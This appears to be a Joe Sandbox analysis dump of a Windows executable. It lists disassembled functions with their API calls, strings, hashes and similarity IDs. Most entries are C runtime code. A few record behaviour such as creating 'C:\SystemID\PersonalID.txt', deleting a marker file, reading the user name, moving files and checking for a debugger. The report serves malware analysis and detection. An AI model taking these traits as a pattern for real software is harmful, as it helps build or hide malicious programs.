Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 1059622496-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

